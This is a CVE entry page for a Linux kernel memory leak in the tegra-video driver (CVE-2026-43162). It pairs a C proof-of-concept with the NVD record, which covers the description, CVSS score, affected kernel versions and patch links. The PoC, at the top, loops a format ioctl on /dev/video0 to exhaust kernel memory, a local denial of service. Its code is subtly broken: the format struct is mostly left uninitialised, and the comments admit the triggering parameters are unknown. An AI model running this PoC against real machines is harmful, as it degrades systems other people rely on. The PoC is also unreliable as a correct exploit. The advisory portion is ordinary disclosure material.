CVE-2026-43162

/* * PoC for CVE-2026-43162 * This code attempts to trigger the memory leak in __tegra_channel_try_format * by opening the video device and setting a format that leads to an error path. * Repeated execution will consume kernel memory. */ #include <fcntl.h> #include <linux/videodev2.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { int fd = open("/dev/video0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } struct v4l2_format fmt; // Initialize format to potentially trigger error in v4l2_subdev_call fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; // Set specific parameters that might cause subdevice failure // (Actual parameters depend on specific hardware/driver configuration) for(int i = 0; i < 1000; i++) { if (ioctl(fd, VIDIOC_TRY_FMT, &fmt) < 0) { // If ioctl fails, the driver might hit the leak path // depending on the specific error condition in tegra-video } } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43162", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:34.280", "lastModified": "2026-05-13T21:19:56.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: tegra-video: Fix memory leak in __tegra_channel_try_format()\n\nThe state object allocated by __v4l2_subdev_state_alloc() must be freed\nwith __v4l2_subdev_state_free() when it is no longer needed.\n\nIn __tegra_channel_try_format(), two error paths return directly after\nv4l2_subdev_call() fails, without freeing the allocated 'sd_state'\nobject. This violates the requirement and causes a memory leak.\n\nFix this by introducing a cleanup label and using goto statements in the\nerror paths to ensure that __v4l2_subdev_state_free() is always called\nbefore the function returns."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10", "versionEndExcluding": "6.1.167", "matchCriteriaId": "A6C8448C-EB13-4F93-A6C9-ADA7965260B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2dff8966a3a889dd9d248a7e15d963b4097efcc5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3ca2f09061736e72ef25eec2597d00f7f44094d3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/43e5302d22334f1183dec3e0d5d8007eefe2817c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6c6f419fa9c44a4b7149b0292e01bff47308ba14", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ca921be7a1174d5d58b28f84b683c2c0079f18c5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d92e9a18f97a1d19d4c2ff81dcfbe43591f75b5a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}